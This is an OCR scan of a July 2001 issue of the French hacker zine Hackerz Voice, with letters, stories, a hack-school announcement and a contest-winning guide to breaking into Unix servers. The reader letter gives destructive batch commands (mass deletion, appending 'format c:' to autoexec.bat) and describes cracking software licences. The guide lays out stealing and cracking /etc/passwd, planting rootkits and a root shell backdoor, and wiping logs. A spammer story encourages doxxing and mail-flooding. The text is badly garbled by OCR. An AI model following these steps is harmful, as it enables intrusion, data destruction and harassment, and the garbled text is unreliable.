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ON EST GONTENT

MAIS ON ATTENDRA QUE MBOY SOIT SORTI DE
LA MERDE POUR FAIRE LA FETE.

peu notre euphorie : japprends que de la prison ferme
vientd’étre requise contre Mafiaboy (ila 17 ansonle rappelle)
le 13 juin dernier.Bbon d’accord il se I'est joué un peu grande
gueule a cette audience, m’enfin ...de toutes facon, on le sou-
tien |l fait partie de la famille.
Page 3 vous lirez comment on peut en méme temps hacker et
se servir de ses connaissances dans un but utile.
L’euphorie ? ah oui. C'est parce que les manuels sontun grand suc-
cés merci merci. Alors on continue. Nous le trés grand plaisir
d’annoncer dans ce numéro 5 le lancement de la premiére vraie
Hack school de I'univers connu. Continuez juste comme cela,
ne changez rien, et on en ouvrira bientdt partout en France.
On est content. Mais on attendra que Mboy soit sorti de la
merde pour faire la féte.
PS: Le prochain Hzv 6 sera un spécial Welcome back Defcon 2001.
On espére que Fozzy et Naga (zi gagnant) vont en revenir, tel-
lement on a fait en sorte qu'ils soient chouchoutés la-bas.

| l ne nouvelle de derniére minute vient assombrir quelque

TOMMY LEE

Netographie

Frangais

® heep:/fwww.nightbirdfr.com

® htep://ouah.bsdjeunz.org

o heep:/fwww.u238.f2s.com

® http:/fwww.rtc.frst

@ htep://aktivistfr.free.fr

® http://members.tripod.com/serial-
savate

@ htep://www.madloutre.org/ - tobo-
z0o

® hutp://www.zataz.com

@ heep://www.2600.fr.st

@ hetp://www.chey.fr.st

® hoep://www.hac oustik.or‘g

@ htep://www.paradisihack.fr.sc

® htep://www.isecurelabs.com

© htep://www. protek-lab.net

@ http://www.securiteinfo.com

International

@ http://www.astalavista.box.sk
@ htep://www.phrack.com

® heep://www.cultdeadcow.com
@ hutp://www.cyberarmy.com

® heep://www.hacktech.org

@ http://www.securityfocus.com
® http://www.securiteam.com

@ huep://packetstorm.securify.com
@ http://darknet.linuxninjas.net
® http://www.secureroot.com
 heep:/fwww.linuxsecurity.com
® http://www.macsecurity.org

@ http://www.guninski.com

@ htep://antionline.com

LOL

e hup://www.multimania.com/
azerty0/tdc.heml

® http://inforezo.ustrasbg fr/~
bboett/blagues/trouDuC.html
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D’abord bravo pour votre zin’ ki est d’aiileurs trés bien
fait.Effectivement if y a certaines sources ki pourraient
prendre moins de place mé bon...

Primo, la commande del *.??? efface tous fichiers &
troiscaractéres pour extension sans rien demander!!!
donc leprog suivant supprime tout sans rien dire :

@echo off

cd [votre répertoire]
del *.7??

del *.??

dei *.?

précision :

echo Bonjour autoexec.bat
va écrire :

Bonjour autoexec.bat

a I'écran!!!

vos sources sont nulles !!!

vous oubliez un caractére important :

le >

ou>>

> créée un fichier ou le recréée donc tout est foutu
dedans.

>> ajoute la ligne.

parex:

echo format c:>>autoexec.bat
va ajouter format c: dans autoexec.bat tt en laissant les
autres lignes (append).

echo echo BAISE !t!>autoexec.bat

va écrire echo BAISE !!! dans tout le fichier
autoexec.bat (rewrite) tout ce ki y était déja sera
effacé!!!

Encore ot chose : vos copy vont afficher :

1 fichier(s) copiés

ce ki fé po bien ds un prog censé faire kekchose de
sérieux. ..

alors : rajoutez «> nul» a la fin de vos copy. par ex:

copy machin.exe truc.exe > nul

le nul ¢ un périf ki ignore tout. Donc en envoyant le txt
de copy a un périf ki s’en tout de tt le monde, ca devrai
marcher et copy va taire sa grande gu......

Encore aut chose (on I'arréte po)

¢ bien d'#Gir foutu echo off au debut de vos progs. Mé
ajoutez Lo avant 2¢ha

@echo off

paske sinon on va VOIR cette ligne «echo off» s’afficher.
Avec @ on ne |’affiche po

donc ca marche!!!

Jai longtemps programmé en batch alors ¢ pas vous ki
allez m’apprendre!!!

N’oubliez pas :
edit /0?77
permet d’afficher un fichier binaire en un certain

nombre de collonesex :
edit /064 crack.exe

ouvrira crack.exe en 64 collonnes en s’en foutant de ts
caractéres (retour a la ligne, char BEL...) . Utile pour
modifier les exe!!! Je l'utilise, franchement...
Microsoft est le meilleur en matiére de développement
d’outils de cracking!!! Mé n’est disponible ke pour la
verion DOS 7 !!!

G réussi & piraté des logiciels (sans votre aide) :

- Java machin (je ¢ pu, «studio» je crais) :

il faut donner ses infos (nom, coordonnées...) et on a
droit 2 30 jours!!!

pas bocoup!!!

Aprés kelkes jours, je vois le compteur haisser
doucement...

je regarde ds le rep Windows kesje vois ? un rep
contenant les infos de Java studio...

Créé ya pas longtemps... kan je me suis enregistré...
tientien... je delete ce rep entier et je relance java
studio... Me redemande mes infos et me donne droit 2
30

jours de nouveau!!! COOL!!

-- un prag de musik :

Mon pére cherchait parout un prog de zik pour imprimer
des partoches avec les paroles en dessous pour les
envoyer a la sacem. j’lui en ai trouvé un : cakewalk
pro ! il avait déja cakewalk express et il I'aime
bien... je me suis dit avec le pro on peut imprimer ¢
facile cool!!!! et ¢ sa féte ds pas longtemps !!! au
boulo momo !!(j'mapelle Yann mé ¢ pour la rime...) je
trouve le mayen, avec la version express, ¢ les mémes
fichiers de config... tres hien, ya ke le fichier
executable de la version pro ki est différente, et donc a
copier. Ca simplifie la tache... ah ouais mé
Pinstallation d’origine ne fonctionne pas (prog
détectueux de movez disket) done il affiche :

Name : ***ILLEGAL USER***
Company : ***COPYRIGHT VIOLATION***

merde... pas cool

alors j’édite le ficher exe avec edit.com et je cherche
Ie txt. TROUVE !!! fastoche ,je le remplace pas le nom
demon pere je fais donc les modifs nécessaires et je
lance

le prog... ca y est c’est enregistre!!!!

a++
y.

Un lecteur étourdi nous envoie cette
étrange missive.

Dans votre numero 2 de HZV, vous expliquiez com-
ment retrouver son

password oublie enecrivanta certaines adresses.
11 se trouve qu'en suivant votre méthode, (il
faut donner son second password) on peut se
faire pirater son

nouveau compte e-mail . Quelle est votre
explication ?

Mon explication, c'est qu'il faut apprendre a
lire. Nous n’avonsjamais écrit, évidemment, qu'il
fallait envoyer son mot de passe. Il ne faut
jamais donner son mot de passe a qui que ce
soit. Ca va de soi.

Devant le succes et sous vos applaudissements,
HACKERZ VOICE lance Zi HacKademY. page 5

Prochain numéro le 5 septembre 2001.
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Oyez oyez I'histoire instructive et combien édifiante du petit Clade Srife qui

savait manier non seulement son clavier mais ses méninges afin d'utiliser
ses compétences a quelque chose et a montrer ainsi la voie aux loulous

Un titre idiot se doit d'étre
justifiée par une histoire idio-
te. Enfin... la trouveront idiote

ceux que I'on appelle les
“crashers". Dans tous les cas
I'histoire qui va vous étre
racontée est un

témoignage fait par un pirate
informatique francais, je
nomme Clad Strife. Il a accep-
té de nous rapporter unique-
ment les faits, et non les
noms officiels des entre-
prises qu'il a aidé ces jours la
ol les failles en elle-méme.
Ce témoignage devrait vous
éclairer sur ce que peut aussi
étre le piratage. Il s'agit, selon
lui, "de petits hacks", nous
pensons cependant qu'ils
sont de trés bons exemples a
ce que peut aussi étre le pira-
tage.

Assez de paroles, laissons
place au récit.

Le cas de REB

Une grosse société nommée REB prospérait sur
la Toile. Un beau soir, par un pur hasard, je
m'apergois d'une énorme faille sur leurs ser-
veurs qui permettait 2 qui voulait un accés com-
plet en écriture au site. D'abord inquiet,
j'examine en profondeur les différents aspects
de la faille et décide en fin de compte 2
contacter, par téléphone (trés important), les
responsables du site pour leur parler de la
faiﬁ; et éventuellement exiger une "rangon”.
La réalité fut toute autre. Les webmasters, d'abord
inquiets, essayaient de me soutirer des infor-
mations. Devant une grande méfiance de
ma part, ils furentrésignésa me parler des "avan-
tages” que j'aurais A collaborer avec eux. T-
Shirts, Jeux, statuts d'admins me furent promis
mais en réalité rien de tout cela ne m'inté-
ressait (vous vous rappelez de I'affaire Hum-
pich...). Je pensais qu'il valait micux que ce soit
moi qui méne ladiscussion. ]'avais raison. Dans
tous les cas de figure il ne fallait pas que je
laisse mes adversaires avancer sur mon ter-
rain. Plutét que de fuir j'ai joué "franc jeu".
Mais un "franc jeu" gentil. Je leur ai expli-
qué comment fonctionnait la faille, com-
mentla réparer, et contents devoir qu'ilsavaient
un interlocuteur loquace, nous avancions
vers un autre terrain de discussion. Il s'agis-
sait de mon réle envers la société REB qui
pensait pouvoir louer mes services. A partir
du moment ou j'ai montré ma bonne foi et
mavolontéaavoir de bonnes relationsavec]'en-
treprise, plus rien ne s'opposait au fait qu'il
yaitunesorte de partenariat officiel. Je me char-

erais d'examiner le niveau de sécurité de
ﬁzurs serveurs, eteux, en retout, me fourniraient
des "goodies” relatifs 2 leurs services.

Le cas de Grima

Dans la nuit du 9 au 10 Décembre, une
faille de sécurité des serveurs HTTP de I'en-
treprise Grima devaient m'amenera une consta-
tation navrante. Avec des serveurs surprotégés,
{'entreprise Grimadisposaitd'un des plus puis-
sants niveaux de sécurité en France. Ils sontqua-
siment micux que protégés que Microsoft.

Seulement, tout ce qui est accessible présen-
te des failles. Leur service HTTP étant
défectucux (une ligne de commande sur le
site permettait d'avoir les noms et prénoms des
urilisateurs enregistrés), la connaissance
d'untel "trou" auraitsans nul doute nuita leur
image. Surtoutavantde rentreren bourse. Dis-
posant moi-méme d'un compte sur leur
site, je m'¢tais mis en quéte de tirer profit
de cette faille avant qu'elle ne soit rebou-
chée. Comment tirer des avantages de ce genre
de situations ? Déja on peut exploiter la
faille dans un but strictement personnel. Apres
quoi ilest prudent d'avertirles webmasters. Ce
que j'ai fait. Je me suis bien vite aperqu que
ce quej'exploitais éuaitirrepérable depuis leurs
locaux, donc j'aurais pu Futiliser sans limi-
te, et si je ne fes avais pas averti, sans aucun
doutes, elle ne serait pas rebouchée a I'heure
qu'il est. Ot est I'intérér de les avertir ?
Auprésd'uneentreprise aussi grosse que Grima,
le premier intérét & trouver érait par

rapport & ma notoriété. Gréce 2 l'aide que je
leur ai fourni, je pouvais abuser de ma noto-
riété pour leur soutirer quelques informations,
me mettre en contact avec des "hauts-pla-
cés'" ou bien réaliser des choses pas tres légi-
times en toute impunité (ou presque). Le
deuxi¢me intérét est que j'ai pu leur deman-
der d'effectuer desaméliorations sur mon comp-
te, et mes demandes ont été faites sans probléemes,
mémeapreés leuravoir expliqué d'oli provenait
la faille. Ex justement, c'est le fait d'avoir
jouéaussi franchement quia joué en ma faveur.
Aprés tout, pourquoi refuserait-on quelques
requétes 4 quelqu'un d'aussi honnére ?

Le cas de Majen

Ce cas i touche un peu plus 4 la personna-
{ité du pirate. En effet, en piratant Majen,
je n'ai rien gagné. Sauf... Beaucoup de
reconnaissance dela part du webmaster. Majen
estun site universitaire, et commetant d'autres,
il est buggé jusqu'a la moclle. Je contacte
doncle pauvre administrateur dusite. Aubout
de quelques explications techniques simple
le webmaster, enchanté, me remercie de
tout coeur. Au son de sa voix il érait clair

que j'avais fait un heureux de plus. Mais ne
serait-ce que parce queje sentais qu'au bout du
fil j'avais quelqu'un qui me souriait, et qui
se montrait trés cordial, je n'ai pas osé
demander quoi que ce soit de plus que de
bétes remerciements (et encore, ils sont
venus tout seuls). Y'a pas i dire, rendre heu-
reux

quelqu'un a n'a pas de prix.

-Ainsi s'arréte le récit que j'ai demandé &
Clad Strife. Je crois que la morale de ces
bréves s'impose d'elle-méme. Le piratage
n'a pas forcément un but destructeur. Bien
au contraire il est tout 2 fait possible de
combiner Hack et Aide aux Webm. Parexemple
si vous piratez un site (en avertissant le web-
master) vousavez plusieurs gros avantages. Déja
vous étes en position de supériorité par rapport
al'organisation en face. Vous pouvez donc exi-
ger des choses, mais soyez modérés et gentils
s inutile de prendre un air de mafioso qui
veut de I'argent sinon il "fait tout sauter”.
De plus vous pouvez trouver desarrangements
officiels avec les Admins pour pirater légale-
ment leur site et faire le travail qu'ils n’ont
pas le temps de faire. Cela vous permet d'ex-
ploiter vos connaissances, sans risques,
aucun, et d'acquérir notoriété, bonus, etc. Il
se peut en revanche que vous tombiez sur
des "tétes de mules"”, mais c'est rarement le cas.

Da Strifouz

Dans cette situation, adoptez une atti-
tude plus défensive. Trouvez un com-
promis pour qu'ils "oublient” ce quis'est
passé et faites vous tout petit. Ceux
d'entre vous qui ne sont pas convain-
cus des avantages a ce genre de pra-
tiques par rapport au hack n'ont qu'a
faire I'expérience, juste une fois.

7v TEI. EST Pﬂls .y TRACE TON AGRESSEUR SUR UNE MAPPEMONDE VIRTUELLE

Envie de savoir d’odl vient cette tentative de piratage que tu as réussi a repousser au dernier moment ?
Ou tout simplement envie de connailre le trajet que suivent tes paquets sur internet pour arriver jusqu’a
un serveur au fin fond du Colorado ? Ou encore, plus utile peut-8tre en ces temps de vacances et de
folies, besoin de savoir si cette petite nana que tu as branchée sur irc est vraiment suédoise ?

ceroute” récupére ces infos et les affiche & 'écran: tu peux donc voir les noms et ip de toutes les machines
intermédiaires, avec les temps de réponse. Ce prog est aussi trés utile paur voir a quel niveau il y a un pro-
bléme quand un serveur ne.répond pasﬁomment I'utilise’? Dans unezgnetre DOS, tape “tracert” suivi du
nom de la machine & tracej Sur un unix il faut utiliser “traceroute”, ou encore mieux “xtraceroute” qui
montre le trajet sur une ma i 1 Situ n'as pas linux, pas de blem, enjoy it online et en direct
@ hrtp://visualrou!e.visualware.co,uﬁ:liquer sur la carte pour zoomer).

On peut aussiy télécharger directement le programme pour windows. Bluffant non ?

n

7

Il'y a un programme pour cela, c’es@[{gceroute", fonctionne en Iuiltlnnnant une adresse IF/ouﬂm nom de
machine[ll va envoyer plusieurs paquefSVers cette adresse, chacun ayant une durée de vie différente. En
gros, dans un paquet IP il y a un nombre appelé TTL = time to live, qui définit le nombre de machines par
lesquelles peut passer le paquet avant d'etre arreté et renvoyé a 'expéditeur. Chaque machine par laquelle la

FozZy
connexion passe va donc renvoyer un paquet (correspondant a un certain TTL) vers ton propre systéme."“tra-

HACHERZ VDICE/ JUILLET 2001
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IP Ip Ir HourRRRRRA!!

TOUTES LES ASTUCES POUR TROUVER UNE ADRESSE IP...

G"est super utile de savoir comment récupérep I'P (16 quelqu‘un : pour Savoir fui vous a r_éellemam envnv_é 66 mail d"injures ou qui
VOus & nuke sur irc, pour identifier [a Source des problemes Sur un réseau, pour jouer aussi, pour fiacker bien entendu, en clair ¢'est

aisolument indispensable.

L'adresse IP (Internet Protocol version 4), c'est un nombre de 32 bits qui identifie chaque
ordinateur connecté au réseau des réseaux. Il peut s'écrire en notation décimale, allant de 0 2
2724294836225, par exemple www.defcon.org posséde I'TP 3640525310 (essayez de taper
ce nombre dans voure navigateur Internet, ca peut marcher), mais la forme la plus lisible et
la plus utilisée est la séparation de ce nombre en quatre octets, séparés par un <point. Un
octet fait 8 bits, soit un nombre décimal pouvant aller de 0 4 255. Notre exemple corres-
{)ond donc A I'adresse 216.254.1.254. Le nombre d'adresses disponibles étant trop limité vu
"explosion d'Internet, ce réseau passera d'ici quelques années 2 I'TP version 6, qui codera les
adresses sur 128 bits, soit un nombre maximum d'ordinateurs connectés absolument gigan-
tesque: des milliards de milliards par metre carré sur toute la surface de la Terre ! En plus 1'IP
6 implémentera des fonctions d'authenrification et de cryptage pour rendre le réseau plus
sécurisé.... ce qui rendra surtout le hacking plus intéressant !

Passons maintenant a l'action. Par exemple, trouvons I'IP d'une personne qui est
connectée directement 2 votre machine. Quand je dis connectée, je veux dire que l'ordina-
teur cible envoie des paquets directement au votre, sans passer par un relais. Ces paquets contien-
nent I'adresse IP de la destination (vous), mais aussi l'ad]?rcsse IP de la source (ce qu'on
cherche) ! Cest le cas par exemple pour ['envoi d'un message [CQ (directement, c'est-3-
dire sans passer par le serveur), pour le téléchargement d'un fichier sur vorre ordi en ftp,
samba ou hotline, par un chat DCC (Direct Client to Client) sur ire, etc, etc... Gafifje

uand méme, |'adresse source peut étre faussée par les pros du hack, surtout dans le cas
g'un nuke ou d'un flood: on expliquera les différentes techniques de spoofing en détail

dans les prochains Manuels. Pour espionner les paquets qui atteignent votre ordinateur,
etpouvotrainsi récupérer les ID, il faut juste installer un "sniffer" comme Analyzer (http://net-
group-serv.polito.it/analyzer) sous windows. Sous linux le combo tepdump (en standard
sur toutes les distribs) + ethereal (interface graphique, sur http://www.ethereal.com/) fera
largement I'affaire. Les accros des macs peuvent aussi uriliser tepdump sous MacOS X ou
linux PPC. Un autre intérét des sniffers est de voir exactement tout ce qui est transmis,
par exemple si quelqu'un a installé un trojan chez vous ct s'est connecté vous pouvez le
voir. Attention, il faut savoir qu'en réseau local (avec un hub) un sniffer peut espionner
aussi les connexions des autres ordinateurs si elles ne sont pas cryptées | (comme votre
mot de passe mail en POP3)

Les choses se compliquent si la cible vous contacte par I'intermédiaire d'un relai, quel qu'il
soit. Parfois il est impossible d'avoir I'lP directement et il faudra ruser (idée: se débrouiller
pour que la personne vous envoie un mail). Dans d'autres cas on peut quand meme y arri-
ver en interrogeant le relai, Sur irc, la commande "/dns bigh4cker” donne I'TP de
bigh4cker. Sur caramail par contre, pas moyen ! Tout passe par le serveur web de caramail,
I'anonymat est donc respecté. Enfin, jusqu'a preuve du contraire... Dans le cas d'un mail,
I'IP de I'expéditeur est toujours écrite dans les headers du mail, mais elle peut ctre périmée
si I'acces au réseau a lieu par modem car dans ce cas I'IP change a chaque connexion.

Bravo, tu as chopé une IP, 4 toi de jouer maintenant ! ;-]

Fozzy

Comment J'ai tué un spammeur

0u I'on verra notee héros metire en déroule un spiammeur qui depuis quelues temps agissait Sous Ie nom de Justine sur Caramail.

De nombreux utilisateurs Caramail ont requ récemment un mail de "Justine” qui disait, en
gros : je t'ai rencontré sur Caramail, je suis une fille facile, paye le 3615 CHOSE ou va sur
www.forumx.com pour me voir. Ce genre de mails passe une fois, deux fois, pas trois. A la
troisi¢me fois j'ai pris les choses en mains, bien décié)é 4 laver I'affront de I'encrassage de ma
boite mail, prét A faire payer le ver immonde (certainement bourré de complexes physico-
psychologiques) qui avait osé faire ¢a, et en méme temps & réparer l'affront fait a toute la
communauté Caramail.

TECHNIQUE

Dans son 3eme mail, Monsieur X (on verra plus tard pour I'identité je vous garde le sus-

pens) a indiqué I'url du site sur lequel on devait se rendre pour voir sa Justine. Le site étant
www.forumx.com, je me suis empressé de glaner des informations sur le site, dans l'optique
d'avoir l'identité du malandrin.
J'ai d'abord fait un port scan du site afin de voir quels services tournaient dessus, et bien sur
une résolution du type du serveur rournant grice a l'examen des en-tétes HTTP que je rece-
vais. Utilisez WS Ping Pro Pack (www.ipswitch.com) pour ce faire, mais attention beaucoup
de providers Internet n'hesitent pas a supprimer votre compe s'il y a une plainte de la part
du site que vous avez scanné. Ayant jugé le site difficile A pirater (serveur IIS 4, avec examen
des failles de sécurité 2 I'appui) et ayant peu de temps 2 lui consacrer (il y a quand méme un
probleme de configuration SMTP - port 25 pour les lamers - qui permet I'anonymous
mail), le serveur DNS n'ayant pas de failles au transfert de zones (-A), je décide d'orienter
mes recherches en direction du Webmaster lui méme.

Aucune technique de Social Engeneering ou d'envois de
trojans n'a été tentée de ma part.

La ce fut simple : de simples whois (successivement sur internic, puis sur ghandi) m'ont per-

[
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mis d'avoir le numéro de téléphone, I'adresse e-mail, nom, prénom etc. du blaireau quia
cut le malheur de jouer avec mes pauvres nerfs. Whois (www.whois.org) est une base de
donnees interrogeable publiquement recensant les coordonnées des fpersonnes ayant deposé
un nom de domaine, dans ce cas www.forumx.com. Je décide de faire un petit tour chez
I'hébergeur mail du WebMaster, et je découvre clu'il s'agit de 2st.fr. Je me rends sur le site
de 2st et je m'apergois dans la rubrique "contacts”, qu'il est en fait le gérant de la boire 2st.
L'histoire érait clair : méssieur s'amusait simplement i créer le compte justine, 3 spammer
les utilisateurs Caramail, 4 refermer le compte de sorte qu'aucune réponse ne put écre reque
de la part des victimes. "Rira bien qui rira le dernier!” me dis-je. Je note le numéro de télé-
phone et continue ma visite sur le site olt j'apprends qu'il est partenaire de nombreuses
sociétés dont France Telecom.

J'ai appelé ce cher ami qui n'a rien trouvé de mieux a faire que cafouiller, s'excuser et pro-
mettre des vérifications auprés de ses collegues.

EPILOGUE

A l'heure ou ces lignes sont écrites, ses affiliés n'ont pas encore regus de mails les prévenant,
dans tous les cas, sachez que d'autres types de spam de sa part ont été faits noramment sur
les newsgroups avec des messages trés racoleurs (la pudeur nous oblige A ne pas vous en dif-
fuser le contenu). Avis aux pirates : le meilleur moyen d'énerver ce gus n'est pas de le pira-
ter mais de lui flooder sa boite mail avec un petit message style : "bisous de Justine”. J'avais
promis de rire le dernier (haha!), c'est chose fgite,

PRECISIONS

Travaux menés grice 3 Netscape (www.netscape.com), WS Ping Pro Pack (www.ipswitch.com),
les e-zines de http://www.multimania.com/hackworldclan : il en faut peu pour se satisfaire.
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Ouvertuee de 71 HackAdemy, 1678 hack school
du monde, g 15 Septembre prochain a Paris

Située en plein Paris, dans les locaux du journal, la Hack
School de Hackerz Voice, est la premiére véritable école de
hack a voir le jour dans le monde.

Ouverte a tous, Zi hackademy est avant tout un lieu de forma-
tion aux techniques de hacks. Mais c’est aussi un endroit pri-
vilégié de rencontre et d’échange pour tous les hackers, débutants
ou confirmés. Rejoignez nous!

Activités de ZI HackAdemY
2 FORMATION
(programme soumis 2 modification jusqu'au ler septembre)

3 classes (10 éleves maxi) de 6 h par semaine (2X trois heures)

- Newbiz, sessions chaque mecredi
{)vzus y arriver sessions chaque lundi et mardi
ro du Hack chaque jeudi.

Le module de 6 heures par semaine : 150 F pour les abonnés, 250 FF pour les
autres.

Pour tous les directeurs de dﬁpartement sécurité informatique, secrétement abon-
nés & Hzv, programme spécial Entreprises sur demande par e-mail.

2 CYBERCAFE

GRATOS ! pour les abonnés en fonction des places disponibles, avec deux rigles
intangibles :

- tu délires A partir de notre IP t'es naze et banni

- 1h par personne et par jour en cas d’affluence

> LIBRAIRIE
Libre consultation et possibilité d’achar des différents ouvrages sur le Hack, en
frangais et en anglais

% LIEU DE VIE DE LA COMMUNAUTE

On est OK pour que certaines réunions de teams se fassent dans nos locausx, Cest &
voir au cas par cas en fonction de la hack artitude, de Iesprit, du bordel qu'elles
laisseront, et de I'air du temps.

On notera la fontaine d’eau fraiche, le panneau de petites annor :es inaccessible 2
la DST et I'expo permanente d’ceuvres undergrounds déchirante

2 SHOP

Zi HackAdemY sera aussi le lieu de vente des anciens numéros ¢ Hzv, de ses mer-
veilleux tee-shirts, du CD du pirate et fera aussi dépdt vente de  ieces détachés
vraiment pas chere.

PS: Zi HackAdemY sera aussi le QG des Mix grilleurs : fringues bombz, tuyaux
etc...

VOUS SOUHAITEZ AVOIR DES INFOS POUR VOUS INSCRIRE ?
ENVOYEZ UN MAIL A HACKADEMY@DMPFRANCE .COM

Vous souhaitez nostuler pour dgnner des cours et des conférences aux
ol ? Contactez Tommy Lee sur le mail dujournal: voice @dmp-

Réservez maintenant votrez place a I'école du hack...
Il'y a beaucoup de monde!!!

POURQUOI ?

i HackAdemy, c’est pour nous, inscrire dans la réalité le fait qulizv est au sepvice de
la Communauté.

C'est vous rencontrer, vous apporter I'apprentissage et I'approfondissement des
connaissances que le Journal oet les manuels ne peuvent pas assurer complétement.

C'est aussi, et pour nous c'est important, le moyen d'avoir un contact autre qu'électro-

I niue avec vous. On en espére une foule d'enseignements pour amsliorer Hzv et las Manuels.

&

Une partie de Péquipe du journal devant les locaux,
en plein travaux, de la futur hackademy. Au fond, habillé
en rouge, c’est Tommy Lee. En costume blanc, pieds nus,
c’est notre directeur. Tout sera prét le 15 septembre.

HACHERZ VDICE/JUILLET 2001
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OPERATION DEFCON 2001 THE HACKER VOICE'S SESSION

AND THE WINNER IS NAGAS

La lutte fut farouche et y a pas d’ex-zequo

Le concours a été remporté haut la main par Naga, nous
avons immédiatement envoyé notre reporter chez lui
prendre ses premieres impressions.

Nous les reproduisons ainsi que le texte qui lui a permis
de triompher.

Il a gagné !
HACKER UN SERVEUR UNIX

Hében oui il va falloirs’y mettre etentrer danslacour
des grands maintenant ! Alors, comment entrer
dans le réseau de votre fac ou entreprise a des fins
de test bien sdir, c’est ce que je vais vous expliquer
pasque je suis sympa et que j'avais pas encore
acheté mon billet d’avion pourla DEFCON de cette
année, mais il va falloir étre trés attentif.
Tout d’abord il faut récupéré le max d’infos sur le
réseau 4 hacker avec finger, netstat, whois, scans
de ports (avec nmap), scans de vulnérabilités
(satan, saint, ISS). Pour ¢a hacker une linux box,
la sécuriser et tout faire & partir de cette gateway.
Attention, ne plus y revenir aprés le hack ! Le
social engineering marche aussi : "bonjour, je suis
le dépanneur informatique, votre serveur NT ne
marche pas ? ha, c’est un UNIX ? quelle version
déja ?” vous avez compris le principe.
Une fois que vousavez tout ga i?ﬁmt trouver un moyen
derentrer. Votre but était de trouverune machinesur
laquelle un service vulnérable tourne (surwww.secu-
rityfocus.com il y les vulnérabilités et les exploits).
Vous faites'exploit et vous étes dedans : bravo | Tapez
“cat/etc/passwd” pour récup le fichier de passwords,
crackez le avec CrackerJack ou JohntheRipper ou
Crack, vous avezalors pleins de login/passwd a essayer
sur d’autres machines du réseau. Vous pouvez
donc vous répendre partout ! $'il y a les shadow
ass ¢ est dans /etc/shadow ou un truc comme ca,
ut chercher un peu.

Zi interview exclusive

Ouah ! Que c'est dur d'étre réveillé a I'aurore !
Qui ¢’est qui peut bien aveir I'idée saugrenue de m'appeler A midi
7?

" -Bonjour, je voudrais parler a Paul Cezanne. C'est pour le
concours

Hacker's Voice.”

(Paul Cezanne, c'est pas vraiment mon vral nom, je I'ai deguisé
pour pas

qu'on puisse me racketter..)

- Vivi, c'est moi.

- Vous avez participé au concours HZV ?

- Un peu mon neveu, un journal qui me permet de m'exprimer et
d'apprentre

surpleins de domaines en méme temps ¢'est sulfisemment rare dans
la presse

pour ne pas passer a coter et accepter son invitation a partici-
per!

- Je 'annonce que tu as gagne le 1er prix...

- wl)~ N

:-;u I'acceptes ?

- .. 8 PEMIEChis deux secondes... Un peu mon neveu :))) Vivivivi-
vi, je

I'accepte le voyage a Las Vegas !

- Bon, hin ok. Tu as donc gagné un voyage a Las Vegas...

-8)

- ... avec participation au salon Defcon 9...

-8)

- ...logement a I'hotel Luxor, tu sais I'hotel avec pour theme
I'Egypte oil

tu vas dans ta chambre en barque...

-7 délire ! =)

- .. 8Vec voitune, repas, boissons, train, avion, paguebot, masseuses

offertes plus 30000 frs a dépenser au Casino de I'Hotel.”
(i'exagére a peine et dans ce cas, ¢a mérite une majuscule a
Hitel ;)

" - "tain, ¢ le top :)))))

- et tu seras accompapné par FozZy, notre (?1r2s?) brillant colla-
borateur,

qui s'occupera de tout.

- il portera mes hagages ?

- biien siir; c’est Ia moindre des choses !

-cool )"

Denc vous"avez compris cher lecteurs de HZV, c'est avec une immen-
se joie

fue j'al le bonheur, et Fhonneur de recevoir [e premier prix de ce
concoeurs.

VOUS avez voté pour mon article, et je VOUS dois cette formi-
dable

aventure... Je m'engage donc a vous ramener les photos, les
interviews (i

dou speak english verry wel) et les anecdotes les plus cro-
quantes de mon

séjour parmi les plus grands hax0r du monde.

Bon, je sens que ¢a va bien se passer... J'espére que FozZy est
preés pour le

grand Challenge et tout... Moi je suis HYPER chaud (et méme plus
que Loana

je crois...).

Attention les ricains, garrez vos fesses, FozZy et NaGaz (mei !)
arrivent
pour "REPRESENTER" :)

Naga accompagné de notre fidele collaborateur Fozzy sera donc a Las Végas du 12 au 17 juiller, ils seront logés
dans un quar’zetoile (croyez quoi ?) et auront une voiture 2 leur dispo pour ne rien rater du spectacle.

Trop juste pour le numéro deux du Manuel,mais on vous promet un Hzv6 spécial Defcom back.

Allez les hoyz scout, le Signe de pise de Tonton Tommy

Vous en avez pas marre de chercher le code source du troyen d’Hzv sur le net !

Assurez-vous de pouvoir revenir quand vous vou-
ez dans la box en mettant une backdoor : par exemple
une version modifiée delogin quiva vous aisser entrer
en root avec un mot de passe magique. Y'a des
rootkit pout ¢a, pasla peine de se casser, le micux c'est
leskernel modulgs uisont invisibles. Ce quiest 31331
c'estouvrirun shel? root udp sur un port tordu, genre
14852.
Maintenant ce qui distingue le script kiddie du
hacker expérimenté : I'élimination des traces. Il
faut nettoyer ~/.history ou .bash_history, tous les
fichiers cités dans /etc/syslog.conf: wemp, utmp,
[var/log/*, [var/adm/*. Pour ca y’a des utils comme
marry.c et zap.c. (compiler avec cc -0 marry
marry.c) Cherchez sur packetstorm.securify.com
"a pas mal de choses. Vérifiez les progs de sécu
{ancés avec ps -x, cherchez leurs logs et modifiez
les avant que I'admin ne les voit.
Apres vous pouvez vous amuser un peu et sniffer
les mots de passe, mettre un bot IRC, et méme
traficoter les mails (cd /var/spool/mail)
N’oubliez pas : H4ck3r5 RuleZ !

L’est ou votre troyen ca fait trois fois que je le demande ? L’est ou le site d’Hzv ?
L’est naze vot’ neto ? Trop Lamerz vous vous la jouez !

Wow on se calme !

Les heureux inscrits sur notre mailing list on appris avant tous les autres 'ouverture de Zi HackAdemY. Elle s'inscrit dans
notre volonté de mettre Hzv au service de la communauté, de la dévirtualiser un peu en lui donnant un licu de rencontre
d’échange et de formation.

Dans cette veine, nous avons mis en place le signe de piste d’Hackerz voice afin de présenter les différents sites des lou-
lous faisant partie de la communauté et qui nous soutiennent (plus ou moins :))

Le principe : vous cherchez le code source d’Hzv ? allez donc faire un tour sur
Enjoliver

www.hackever.com

fin Enjoliver

En y cherchant bien vous trouverez le moyen de passcr sur le deuxieme site de notre signe de piste, sur lequel en cher-
chant bien vous trouverez le moyen de passer sur le troisi¢me, etc.

Si vous étes un loulou méritant vous trouverez non seulement notre page ot est disponible les codes sources du troyen
d’Hzv 4 mais également d’autres info.

En prime vous aurez appris plein de choses sur les sites de nos poteaux.
Toi webmaster ca t'intéresse ? ben participe ! Soumets (oh oui !) ton site 2 Tommy Lee
Yes ca y est ! 'y a toujours pas de site officiel Hzv (attention aux imitations comme dirait I'autre) mais son site c’est bien la
communauté de sites qui parlent de lui ;).
Tommy LecJ

HACHERZ VDICE/JUILLET 2001
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INITIATION AU VBS
LEGON NUMBER ONE

machine (exprimé principalement par des 1 et des 0)
Les langages de haut niveau, comme BASIC, Delphi

et C, utilisent des expressions empruntées au langage

Pour lutter contre le
